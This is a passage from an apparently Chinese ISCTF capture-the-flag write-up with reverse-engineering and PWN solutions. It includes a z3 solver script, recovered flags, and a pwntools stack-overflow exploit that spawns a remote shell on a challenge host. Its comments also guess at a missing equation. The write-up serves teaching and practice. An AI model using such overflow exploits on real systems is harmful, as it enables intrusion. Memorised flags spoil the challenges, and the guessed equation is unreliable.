74*a&#91;17] - 72*a&#91;19] - 53*a&#91;20] - 31*a&#91;22] == 6695\n)\n\n# \u65b9\u7a0b15:45*a20 +14*a19 +76*a18 +17*a16 +86*a14 +28*a11 +19*a5 +46*a1 +75*a0 -12*a2 -27*a3 -66*a4 -27*a6 -32*a7 -69*a8 -31*a9 -65*a10 -54*a12 -6*a13 +2*a15 -10*a17 -89*a21 -16*a22 ==-3780\nsolver.add(\n    45*a&#91;20] + 14*a&#91;19] + 76*a&#91;18] + 17*a&#91;16] + 86*a&#91;14] + 28*a&#91;11] + 19*a&#91;5] +\n    46*a&#91;1] + 75*a&#91;0] - 12*a&#91;2] - 27*a&#91;3] - 66*a&#91;4] - 27*a&#91;6] - 32*a&#91;7] - 69*a&#91;8] -\n    31*a&#91;9] - 65*a&#91;10] - 54*a&#91;12] - 6*a&#91;13] + 2*a&#91;15] - 10*a&#91;17] - 89*a&#91;21] - 16*a&#91;22] == -3780\n)\n\n# \u65b9\u7a0b16:62*a21 +74*a20 +28*a18 +7*a17 +74*a16 +45*a15 +57*a14 +34*a11 +85*a10 +98*a6 +29*a4 +94*a3 +51*a2 +85*a1 -36*a5 -a7 -3*a8 -74*a9 -70*a12 -68*a13 -3*a19 +8*a22 ==47300\nsolver.add(\n    62*a&#91;21] + 74*a&#91;20] + 28*a&#91;18] + 7*a&#91;17] + 74*a&#91;16] + 45*a&#91;15] + 57*a&#91;14] +\n    34*a&#91;11] + 85*a&#91;10] + 98*a&#91;6] + 29*a&#91;4] + 94*a&#91;3] + 51*a&#91;2] + 85*a&#91;1] - 36*a&#91;5] -\n    a&#91;7] - 3*a&#91;8] - 74*a&#91;9] - 70*a&#91;12] - 68*a&#91;13] - 3*a&#91;19] + 8*a&#91;22] == 47300\n)\n\n# \u65b9\u7a0b17:22*a22 +45*a21 +14*a19 +32*a18 +77*a17 +70*a12 +7*a10 +99*a4 +82*a0 -48*a1 -40*a2 -81*a3 -27*a5 -75*a6 -79*a7 -26*a8 -68*a9 -57*a11 -77*a13 -32*a14 -a15 -91*a16 -14*a20 ==-34153\nsolver.add(\n    22*a&#91;22] + 45*a&#91;21] + 14*a&#91;19] + 32*a&#91;18] + 77*a&#91;17] + 70*a&#91;12] + 7*a&#91;10] +\n    99*a&#91;4] + 82*a&#91;0] - 48*a&#91;1] - 40*a&#91;2] - 81*a&#91;3] - 27*a&#91;5] - 75*a&#91;6] - 79*a&#91;7] -\n    26*a&#91;8] - 68*a&#91;9] - 57*a&#91;11] - 77*a&#91;13] - 32*a&#91;14] - a&#91;15] - 91*a&#91;16] - 14*a&#91;20] == -34153\n)\n\n# \u65b9\u7a0b18:65*a21 +13*a20 +61*a17 +97*a13 +24*a10 +40*a5 +20*a0 -81*a1 -17*a2 -77*a3 -79*a4 -45*a6 -61*a7 -48*a8 -97*a9 -49*a11 -14*a12 -81*a14 -20*a15 -27*a16 -89*a18 -93*a19 -46*a22 ==-55479\nsolver.add(\n    65*a&#91;21] + 13*a&#91;20] + 61*a&#91;17] + 97*a&#91;13] + 24*a&#91;10] + 40*a&#91;5] + 20*a&#91;0] -\n    81*a&#91;1] - 17*a&#91;2] - 77*a&#91;3] - 79*a&#91;4] - 45*a&#91;6] - 61*a&#91;7] - 48*a&#91;8] - 97*a&#91;9] -\n    49*a&#91;11] - 14*a&#91;12] - 81*a&#91;14] - 20*a&#91;15] - 27*a&#91;16] - 89*a&#91;18] - 93*a&#91;19] - 46*a&#91;22] == -55479\n)\n\n# \u65b9\u7a0b19:60*a21 +70*a20 +13*a15 +87*a13 +76*a11 +88*a9 +87*a3 +87*a0 -97*a1 -40*a2 -49*a4 -23*a5 -30*a6 -50*a7 -98*a8 -21*a10 -54*a12 -65*a14 -80*a17 -28*a18 -57*a19 -70*a22 ==-20651\nsolver.add(\n    60*a&#91;21] + 70*a&#91;20] + 13*a&#91;15] + 87*a&#91;13] + 76*a&#91;11] + 88*a&#91;9] + 87*a&#91;3] +\n    87*a&#91;0] - 97*a&#91;1] - 40*a&#91;2] - 49*a&#91;4] - 23*a&#91;5] - 30*a&#91;6] - 50*a&#91;7] - 98*a&#91;8] -\n    21*a&#91;10] - 54*a&#91;12] - 65*a&#91;14] - 80*a&#91;17] - 28*a&#91;18] - 57*a&#91;19] - 70*a&#91;22] == -20651\n)\n\n# \u65b9\u7a0b20:54*a20 +86*a17 +92*a16 +41*a15 +70*a10 +9*a9 +a8 +96*a7 +45*a6 +78*a5 +3*a4 +90*a3 +71*a2 +96*a0 -8*a1 +4*a11 -55*a12 -73*a13 -54*a14 -89*a18 -(a19&lt;&lt;6) -67*a21 +4*a22 ==35926\nsolver.add(\n    54*a&#91;20] + 86*a&#91;17] + 92*a&#91;16] + 41*a&#91;15] + 70*a&#91;10] + 9*a&#91;9] + a&#91;8] +\n    96*a&#91;7] + 45*a&#91;6] + 78*a&#91;5] + 3*a&#91;4] + 90*a&#91;3] + 71*a&#91;2] + 96*a&#91;0] - 8*a&#91;1] +\n    4*a&#91;11] - 55*a&#91;12] - 73*a&#91;13] - 54*a&#91;14] - 89*a&#91;18] - (a&#91;19] &lt;&lt; 6) - 67*a&#91;21] + 4*a&#91;22] == 35926\n)\n\n# \u65b9\u7a0b21:5*a22 +88*a20 +52*a19 +21*a17 +25*a16 +3*a13 +88*a10 +39*a8 +48*a7 +74*a6 +86*a4 +46*a2 +17*a0 -98*a1 -50*a3 -28*a5 -73*a9 -33*a11 -75*a12 -14*a14 -31*a15 -26*a18 -52*a21 ==8283\nsolver.add(\n    5*a&#91;22] + 88*a&#91;20] + 52*a&#91;19] + 21*a&#91;17] + 25*a&#91;16] + 3*a&#91;13] + 88*a&#91;10] +\n    39*a&#91;8] + 48*a&#91;7] + 74*a&#91;6] + 86*a&#91;4] + 46*a&#91;2] + 17*a&#91;0] - 98*a&#91;1] - 50*a&#91;3] -\n    28*a&#91;5] - 73*a&#91;9] - 33*a&#91;11] - 75*a&#91;12] - 14*a&#91;14] - 31*a&#91;15] - 26*a&#91;18] - 52*a&#91;21] == 8283\n)\n\n# \u65b9\u7a0b22:96*a22 +85*a20 +55*a19 +99*a13 +19*a11 +77*a10 +52*a9 +66*a8 +96*a6 +72*a4 +90*a3 +60*a1 +94*a0 -99*a2 -26*a5 -94*a7 -49*a12 -32*a14 -54*a15 -92*a16 -71*a17 -63*a18 -23*a21 ==33789\nsolver.add(\n    96*a&#91;22] + 85*a&#91;20] + 55*a&#91;19] + 99*a&#91;13] + 19*a&#91;11] + 77*a&#91;10] + 52*a&#91;9] +\n    66*a&#91;8] + 96*a&#91;6] + 72*a&#91;4] + 90*a&#91;3] + 60*a&#91;1] + 94*a&#91;0] - 99*a&#91;2] - 26*a&#91;5] -\n    94*a&#91;7] - 49*a&#91;12] - 32*a&#91;14] - 54*a&#91;15] - 92*a&#91;16] - 71*a&#91;17] - 63*a&#91;18] - 23*a&#91;21] == 33789\n)\n\n# \u65b9\u7a0b23:15*a22 +a19 +26*a17 +65*a16 +80*a11 +92*a8 +28*a5 +79*a4 +73*a0 -98*a1 -2*a2 -70*a3 -10*a6 -30*a7 -51*a9 -77*a10 -32*a12 -32*a13 +8*a14 +4*a15 -11*a18 -83*a20 -85*a21 ==-10455\nsolver.add(\n    15*a&#91;22] + a&#91;19] + 26*a&#91;17] + 65*a&#91;16] + 80*a&#91;11] + 92*a&#91;8] + 28*a&#91;5] +\n    79*a&#91;4] + 73*a&#91;0] - 98*a&#91;1] - 2*a&#91;2] - 70*a&#91;3] - 10*a&#91;6] - 30*a&#91;7] - 51*a&#91;9] -\n    77*a&#91;10] - 32*a&#91;12] - 32*a&#91;13] + 8*a&#91;14] + 4*a&#91;15] - 11*a&#91;18] - 83*a&#91;20] - 85*a&#91;21] == -10455\n)\n\n# \u6dfb\u52a0\u7b2c24\u4e2a\u65b9\u7a0b\uff08\u6839\u636e\u539f\u51fd\u6570\u6700\u540e\u4e00\u4e2a&amp;&amp;\u6761\u4ef6\uff0c\u4eceIDA\u4e2d\u83b7\u53d6\u5b8c\u6574\u7684\u65b9\u7a0b\uff09\n# \u6ce8\u610f\uff1a\u539f\u51fd\u6570\u670924\u4e2a\u65b9\u7a0b\uff0c\u7b2c24\u4e2a\u65b9\u7a0b\u5e94\u8be5\u5305\u542b\u6240\u6709\u53d8\u91cf\n# \u8fd9\u91cc\u5047\u8bbe\u7b2c24\u4e2a\u65b9\u7a0b\u4e0e\u524d\u9762\u7684\u7c7b\u4f3c\uff0c\u5305\u542b\u6240\u670923\u4e2a\u53d8\u91cf\n# \u6839\u636e\u5e38\u89c1\u7684\u8fd9\u7c7b\u9898\u76ee\uff0c\u6700\u540e\u4e00\u4e2a\u65b9\u7a0b\u901a\u5e38\u662f\uff1a\n# 85*a20 + 78*a19 + 35*a18 + 80*a17 + 48*a16 + 94*a15 + 55*a14 + 10*a13 + 71*a12 + 24*a11 + 56*a10 + 36*a9 + 91*a8 + 77*a7 + 46*a6 + 28*a5 + 39*a4 + 67*a3 + 52*a2 + 13*a1 + 99*a0 + 84*a21 + 62*a22 == \u67d0\u4e2a\u503c\n# \u4f46\u5177\u4f53\u9700\u8981\u4eceIDA\u4e2d\u83b7\u53d6\uff0c\u8fd9\u91cc\u6211\u4eec\u5047\u8bbe\u7f3a\u5c11\u7b2c24\u4e2a\u65b9\u7a0b\u4f1a\u5bfc\u81f4\u591a\u89e3\n\n# \u7531\u4e8e\u7f3a\u5c11\u7b2c24\u4e2a\u65b9\u7a0b\uff0c\u6211\u4eec\u53ea\u80fd\u5c1d\u8bd5\u6c42\u89e3\u73b0\u670923\u4e2a\u65b9\u7a0b\nprint(\"\u6b63\u5728\u6c42\u89e323\u4e2a\u65b9\u7a0b...\")\n\n# 3. \u6c42\u89e3\u7ea6\u675f\nif solver.check() == z3.sat:\n    model = solver.model()\n    # \u63d0\u53d6\u5f02\u6216\u540e\u7684\u7ed3\u679c\uff08a1&#91;0]~a1&#91;22]\uff09\n    encrypted = &#91;model&#91;a&#91;i]].as_long() for i in range(23)]\n    print(f\"\u52a0\u5bc6\u6570\u636e\uff08ASCII\u503c\uff09: {encrypted}\")\n\n    # \u5f02\u62160x0C\u8fd8\u539f\u539f\u59cbflag\n    decrypted = ''.join(&#91;chr(c ^ 0x0C) for c in encrypted])\n    print(f\"\u89e3\u5bc6\u540e\u7684\u5b57\u7b26\u4e32: {decrypted}\")\n\n    # \u68c0\u67e5\u662f\u5426\u7b26\u5408flag\u683c\u5f0f\n    if decrypted.startswith(\"ISCTF{\") and decrypted.endswith(\"}\"):\n        flag = decrypted\n    else:\n        # \u5982\u679c\u4e0d\u662f\u6807\u51c6\u683c\u5f0f\uff0c\u5c1d\u8bd5\u5305\u88f9\n        flag = f\"ISCTF{{{decrypted}}}\"\n\n    print(f\"Flag: {flag}\")\nelse:\n    print(\"\u6c42\u89e3\u5931\u8d25\uff01\u53ef\u80fd\u662f\u7ea6\u675f\u65b9\u7a0b\u6284\u5199\u9519\u8bef\u6216\u65e0\u89e3\u3002\")\n    print(\"\u5c1d\u8bd5\u68c0\u67e5\u662f\u5426\u7f3a\u5c11\u7b2c24\u4e2a\u65b9\u7a0b...\")<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u6709\u4e00\u4e2a23\u5b57\u8282\u7684\u8f93\u5165\uff08\u5bf9\u5e94<code>a[0]<\/code>\u5230<code>a[22]<\/code>\uff09<\/li>\n\n\n\n<li>\u6bcf\u4e2a\u5b57\u8282\u9996\u5148\u4e0e<code>0x0C<\/code>\u8fdb\u884c\u5f02\u6216\uff08<code>a1[i] ^= 0x0C<\/code>\uff09<\/li>\n\n\n\n<li><br><p>\u7136\u540e\u7ecf\u8fc724\u4e2a\u7ebf\u6027\u65b9\u7a0b\u7ea6\u675f\uff08\u4ee3\u7801\u4e2d\u6211\u4eec\u53ea\u770b\u523023\u4e2a\uff0c\u5e94\u8be5\u8fd8\u6709\u7b2c24\u4e2a\u65b9\u7a0b\uff09<\/p><br><p><strong>\u65b9\u7a0b\u7ec4\u7684\u6765\u6e90<\/strong><\/p><br><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ \u53cd\u6c47\u7f16\u4ee3\u7801\u7c7b\u4f3c\u8fd9\u6837\u7684\u7ed3\u6784\nif (94*a22 +74*a21 +70*a19 +12*a18 +20*a16 +62*a12 +82*a10 +7*a7 +63*a6 +18*a5 +58*a4 +94*a2 +77*a0 -43*a1 -37*a3 -97*a8 -23*a9 -86*a11 -6*a13 -5*a14 -79*a15 -63*a17 -93*a20 != 20156) {\n    return 0;\n}\n\/\/ ... \u8fd8\u670923\u4e2a\u7c7b\u4f3c\u7684if\u5224\u65ad<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u4e9b\u65b9\u7a0b\u662f\u7a0b\u5e8f\u9a8c\u8bc1flag\u6b63\u786e\u6027\u7684\u6838\u5fc3\u903b\u8f91\u3002\u53ea\u6709\u540c\u65f6\u6ee1\u8db3\u6240\u670924\u4e2a\u65b9\u7a0b\u7684\u8f93\u5165\u624d\u662f\u6b63\u786e\u7684flag\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b2c\u4e00\u6b65\uff1a\u6c42\u89e3\u7ebf\u6027\u65b9\u7a0b\u7ec4<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u4eec\u5c06\u8fd924\u4e2a\u65b9\u7a0b\u89c6\u4e3a\u4e00\u4e2a\u7ebf\u6027\u65b9\u7a0b\u7ec4\u7cfb\u7edf\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u65b9\u7a0b1: c\u2081\u2080*a\u2080 + c\u2081\u2081*a\u2081 + ... + c\u2081\u2082\u2082*a\u2082\u2082 = k\u2081\n\u65b9\u7a0b2: c\u2082\u2080*a\u2080 + c\u2082\u2081*a\u2081 + ... + c\u2082\u2082\u2082*a\u2082\u2082 = k\u2082\n...\n\u65b9\u7a0b24: c\u2082\u2084\u2080*a\u2080 + c\u2082\u2084\u2081*a\u2081 + ... + c\u2082\u2084\u2082\u2082*a\u2082\u2082 = k\u2082\u2084<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5176\u4e2d\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>c\u1d62\u2c7c<\/code> \u662f\u7cfb\u6570\uff08\u6b63\u6570\u6216\u8d1f\u6570\uff09<\/li>\n\n\n\n<li><code>a\u2c7c<\/code> \u662f\u672a\u77e5\u53d8\u91cf\uff08\u5f02\u6216\u540e\u7684\u5b57\u7b26\uff09<\/li>\n\n\n\n<li><code>k\u1d62<\/code> \u662f\u5e38\u6570<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u7531\u4e8e\u8fd9\u662f\u4e00\u4e2a\u8d85\u5b9a\u7cfb\u7edf\uff0824\u4e2a\u65b9\u7a0b\uff0c23\u4e2a\u672a\u77e5\u6570\uff09\uff0c\u901a\u5e38\u4f1a\u6709\u552f\u4e00\u89e3\uff08\u5982\u679c\u65b9\u7a0b\u662f\u72ec\u7acb\u7684\uff09\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u7b2c\u4e8c\u6b65\uff1a\u5f02\u6216\u8fd8\u539f<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6c42\u89e3\u5f97\u5230\u7684\u662f\u5f02\u6216\u540e\u7684\u503c <code>encrypted[i]<\/code>\uff0c\u539f\u59cbflag\u4e3a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>original_flag&#91;i] = encrypted&#91;i] ^ 0x0C<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-117-1024x204.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"204\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-117-1024x204.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1682\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{yR_A_Zzz_Ma5t3R!}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">MysteriousStream<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u76f4\u63a5\u6253\u5370 Flag\u201d \u7684\u7c7b\u578b<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u76f4\u63a5\u628a Flag \u786c\u7f16\u7801\u5728\u7a0b\u5e8f\u4ee3\u7801\u91cc\uff0c\u8fd0\u884c\u65f6\u76f4\u63a5\u6253\u5370\u8f93\u51fa<\/strong>\uff0c\u6ca1\u6709\u4efb\u4f55\u52a0\u5bc6\u3001\u53cd\u8c03\u8bd5\u3001\u8f93\u5165\u9a8c\u8bc1\u7b49\u9006\u5411\u9632\u62a4\u903b\u8f91<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-118.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"728\" height=\"295\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-118.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1683\"  sizes=\"auto, (max-width: 728px) 100vw, 728px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>chmod a+x challenge\nchmod\uff1achange mode\u7684\u7f29\u5199\uff0c\u7528\u4e8e\u6539\u53d8\u6587\u4ef6\u6743\u9650\na+x\uff1a\u7ed9\u6240\u6709\u7528\u6237\uff08a=all\uff09\u6dfb\u52a0\u6267\u884c\u6743\u9650\uff08x=execute\uff09\nchallenge\uff1a\u76ee\u6807\u6587\u4ef6\u540d\n\u4f5c\u7528\uff1a\u4f7fchallenge\u6587\u4ef6\u53d8\u4e3a\u53ef\u6267\u884c\u6587\u4ef6<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd0\u884c\u5c31\u884c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{Y0u_a2e_2ea11y_a_1aby2inth_master}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">PWN<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\u6765\u7b7e\u4e2a\u5230\u5427<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-119.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"646\" height=\"810\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-119.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1684\"  sizes=\"auto, (max-width: 646px) 100vw, 646px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u7a0b\u5e8f\u5206\u6790<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-120-1024x120.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"120\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-120-1024x120.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1685\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">IDA<br>\u62d6\u8fdbIDAx64<br>\u5173\u952e\u6f0f\u6d1e\u4ee3\u7801<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>__int64 __fastcall main(__int64 a1, char **a2, char **a3)\n{\n    __int64 result;                    \/\/ rax\n    unsigned __int64 v4;               \/\/ rt1\n    __int64 v5;                        \/\/ &#91;rsp+0h] &#91;rbp-A8h] \u8f93\u5165\u7f13\u51b2\u533a\uff080x88\u5b57\u8282\uff09\n    unsigned int v6;                   \/\/ &#91;rsp+6Ch] &#91;rbp-3Ch] \u6761\u4ef6\u53d8\u91cf\uff08\u89e6\u53d1shell\u5173\u952e\uff09\n    int v7;                            \/\/ &#91;rsp+88h] &#91;rbp-20h] \u65e0\u5173\u53d8\u91cf\n    unsigned __int64 v8;               \/\/ &#91;rsp+98h] &#91;rbp-10h] \u6808cookie\uff08\u6808\u4fdd\u62a4\uff09\n\n    v8 = __readfsqword(0x28u);\n    memset(&amp;v5, 0, 0x88uLL);          \/\/ \u521d\u59cb\u5316\u7f13\u51b2\u533a\n    v7 = 0;\n\n    setbuf(stdin, 0LL);\n    setbuf(stdout, 0LL);\n    setbuf(stderr, 0LL);\n\n    puts(\"do you like blueshark?\");\n\n    if (read(0, &amp;v5, 0x3E8uLL) &lt;= 0)  \/\/ \u8bfb\u53d61000\u5b57\u8282\u5230v5\uff08\u7f13\u51b2\u533a\u4ec50x88\u5b57\u8282\uff09\n    {\n        puts(\"\");\n    }\n    else\n    {\n        printf(\"data.arr&#91;2] = 0x%xn\", v6);  \/\/ \u8f93\u51fav6\u7684\u503c\uff08\u8c03\u8bd5\u5173\u952e\uff09\n\n        if (v6 == -1378178390)               \/\/ \u6761\u4ef6\u5224\u65ad\uff1av6\u5339\u914d\u5219\u6267\u884cshell\n        {\n            puts(\"blueshark likes you too!\");\n            system(\"\/bin\/sh\");\n        }\n        else\n        {\n            puts(\"no love anymore...\");\n        }\n    }\n\n    \/\/ \u6808\u4fdd\u62a4\u68c0\u67e5\uff08\u4ec5\u9a8c\u8bc1v8\uff0c\u4e0d\u5f71\u54cdv6\u8986\u76d6\uff09\n    v4 = __readfsqword(0x28u);\n    result = v8 - v4;\n\n    if (v8 == v4)\n        result = 0LL;\n\n    return result;\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u5229\u7528<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u901a\u8fc7\u6808\u6ea2\u51fa\u8986\u76d6\u5173\u952e\u53d8\u91cf\uff0c\u89e6\u53d1 system(&#8220;\/bin\/sh&#8221;) \u83b7\u53d6 shell \u5e76\u8bfb\u53d6 flag<br>Payload \u6784\u9020<br>\u586b\u5145\u90e8\u5206\uff1ab&#8217;A&#8217; * 0x6C \u2192 \u586b\u6ee1 v5 \u7f13\u51b2\u533a\u5230 v6 \u7684\u504f\u79fb\u3002<br>\u8986\u76d6\u90e8\u5206\uff1ap32(0xAAABDDAA) \u2192 32 \u4f4d\u5c0f\u7aef\u5b57\u8282\u5e8f\uff0c\u7cbe\u51c6\u8986\u76d6 v6 \u4e3a\u4fee\u6b63\u540e\u7684\u76ee\u6807\u503c\u3002<br>\u65e0\u591a\u4f59\u5b57\u8282\uff1a\u4f7f\u7528 p.send() \u800c\u975e p.sendline()\uff0c\u907f\u514d\u81ea\u52a8\u8ffd\u52a0 n \u5e72\u6270\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u5229\u7528\u811a\u672c<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\nhost = \"challenge.bluesharkinfo.com\"\nport = 20829\ncorrect_target_64 = (-1378178390) &amp; 0xFFFFFFFFFFFFFFFF\npayload = b'A' * 0x6C + p64(correct_target_64)\np = remote(host, port)\np.recvuntil(b'do you like blueshark?')\np.send(payload)\np.interactive()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-121-1024x526.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"526\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-121-1024x526.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1686\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">OSINT<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-122-1024x497.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"497\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-122-1024x497.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1687\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u672c\u9898\u6240\u6709\u56fe\u7247\u5747\u6765\u6e90\u4e8e\u8c37\u6b4c\u8857\u666f\uff0c\u8bf7\u81ea\u884c\u51c6\u5907\u76f8\u5173\u5de5\u5177\u3002 OSINT\u7cfb\u5217\u901a\u7528\u9776\u673a\u5730\u5740\uff08\u8bf7\u52ff\u653b\u51fb\u5e73\u53f0\uff09\uff1a <a href=\"https:\/\/osint.imxbt.cn\/\">https:\/\/osint.imxbt.cn\/<\/a><br><a href=\"https:\/\/osint-isctf.aristore.top\/\">https:\/\/osint-isctf.aristore.top\/<\/a><\/p>\n\n\n\n<p 